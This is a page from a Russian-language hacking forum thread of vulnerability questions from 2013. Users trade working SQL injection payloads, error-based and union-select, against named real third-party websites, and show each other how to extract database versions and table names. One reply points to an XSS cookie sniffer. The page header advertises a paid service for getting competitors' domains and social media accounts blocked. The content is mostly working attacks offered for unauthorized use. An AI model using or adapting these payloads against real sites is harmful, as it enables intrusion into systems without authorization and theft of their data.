УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2277 из 2438

2277

Опции темы

Поиск в этой теме

Опции просмотра

#22761

29.09.2013, 15:47

Unknown

Guest

Сообщений: n/a

Провел на форуме:
15642

Репутация: 6

Цитата:

Сообщение от Sanic1977

Sanic1977 said:
Помогите раскрутить такую скулю на mssql
id=15&type='+convert(int,@@version)+'
выводит:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
Как дальше крутитЬ?

https://rdot.org/forum/showthread.php?t=826

#22762

30.09.2013, 00:22

Always

Guest

Сообщений: n/a

Провел на форуме:
17560

Репутация: 0

Что может означать такая ошибка?

выпадает в поле логин - %5C

Warning: PDOStatement::execute(): SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '5ebe553e01799a927b1d045924bbd4fd' AND status='ok'' at line 1 in /var/www/site/data/www/site.ru/application/class/Member.php on line 390

#22763

30.09.2013, 00:29

Sanic1977

Новичок

Регистрация: 29.10.2008

Сообщений: 1

Провел на форуме:
1034

Репутация: 0

'%2bconvert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFO RMATION_SCHEMA.TABLES))%2b'

выдает ошибку

Subqueries are not allowed in this context. Only scalar expressions are allowed.

и как его обойти?

#22764

30.09.2013, 10:05

Unknown

Guest

Сообщений: n/a

Провел на форуме:
936

Репутация: 5

Цитата:

Сообщение от Sanic1977

Sanic1977 said:
'%2bconvert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFO RMATION_SCHEMA.TABLES))%2b'
выдает ошибку
Subqueries are not allowed in this context. Only scalar expressions are allowed.
и как его обойти?

Нельзя использовать в качестве параметра запрос.

Может сделать прощще:

1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA .TABLES)

#22765

30.09.2013, 14:25

Massay

Guest

Сообщений: n/a

Провел на форуме:
4404

Репутация: 0

Добрый день, скажите пожалуйста каким сниффером вы пользуетесь для XSS

#22766

01.10.2013, 19:47

Unknowhacker

Guest

Сообщений: n/a

Провел на форуме:
94006

Репутация: 24

В общем возникли некие трудности в получении данных, фильтра вроде бы нет, но не могу получить.

Код:

Code:
www.ukok-tour.ru/index.php?t=1+union+select+1,2,3+--+
http://www.isotropix.com/index.php?to=products&productid=99%27+union+select+1,2,3,4,5,6,7,8+--+&view=trynow
http://www.hmn.ru/index.php?index=14&value=12+order+by+1+--+

#22767

01.10.2013, 23:11

Always

Guest

Сообщений: n/a

Провел на форуме:
17560

Репутация: 0

Цитата:

Сообщение от Unknowhacker

Unknowhacker said:
В общем возникли некие трудности в получении данных, фильтра вроде бы нет, но не могу получить.

Код:

Code:
www.ukok-tour.ru/index.php?t=1+union+select+1,2,3+--+
http://www.isotropix.com/index.php?to=products&productid=99%27+union+select+1,2,3,4,5,6,7,8+--+&view=trynow
http://www.hmn.ru/index.php?index=14&value=12+order+by+1+--+

http://www.ukok-tour.ru/index.php?t=1'and(select+1+from(select+count(*),co ncat((select+table_name+from+information_schema.ta bles+limit+1,1),floor(rand(0)*2))x+from+informatio n_schema.tables+group+by+x)a)='and+--+

#22768

02.10.2013, 01:10

Ravenous

Guest

Сообщений: n/a

Провел на форуме:
44130

Репутация: 26

Цитата:

Сообщение от Unknowhacker

Unknowhacker said:
В общем возникли некие трудности в получении данных, фильтра вроде бы нет, но не могу получить.

Код:

Code:
www.ukok-tour.ru/index.php?t=1+union+select+1,2,3+--+
http://www.isotropix.com/index.php?to=products&productid=99%27+union+select+1,2,3,4,5,6,7,8+--+&view=trynow
http://www.hmn.ru/index.php?index=14&value=12+order+by+1+--+

Код:

Code:
http://www.isotropix.com/index.php?to=products&productid=991 AND extractvalue(1,concat(0x3a,(select version() limit 0,1)))

в третьем случае нет инъекции

#22769

02.10.2013, 11:02

WallHack

Guest

Сообщений: n/a

Провел на форуме:
61136

Репутация: 32

Цитата:

Сообщение от Massay

Massay said:
Добрый день, скажите пожалуйста каким сниффером вы пользуетесь для XSS

http://hpc.name/sniffer/

#22770

02.10.2013, 17:18

WallHack

Guest

Сообщений: n/a

Провел на форуме:
61136

Репутация: 32

Нашёл на этом сайте _http://agixo.ru/ уязвимость в куках прохожу по ссылке http://agixo.ru/1-reg.html реферер админ смотрим куки referer 1

запускаем оперу меняем 1 на к перехожу по ссылке уже такой http://agixo.ru/reg.html

смотрим Ник, ID, Предустановленый реф-бек: % все исчезла.

Что можно сделать с этой уязвимостью можно ли провести sql инвекцию я с уязвимостями в куках ещё не сталкивался

Страница 2277 из 2438

2277

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход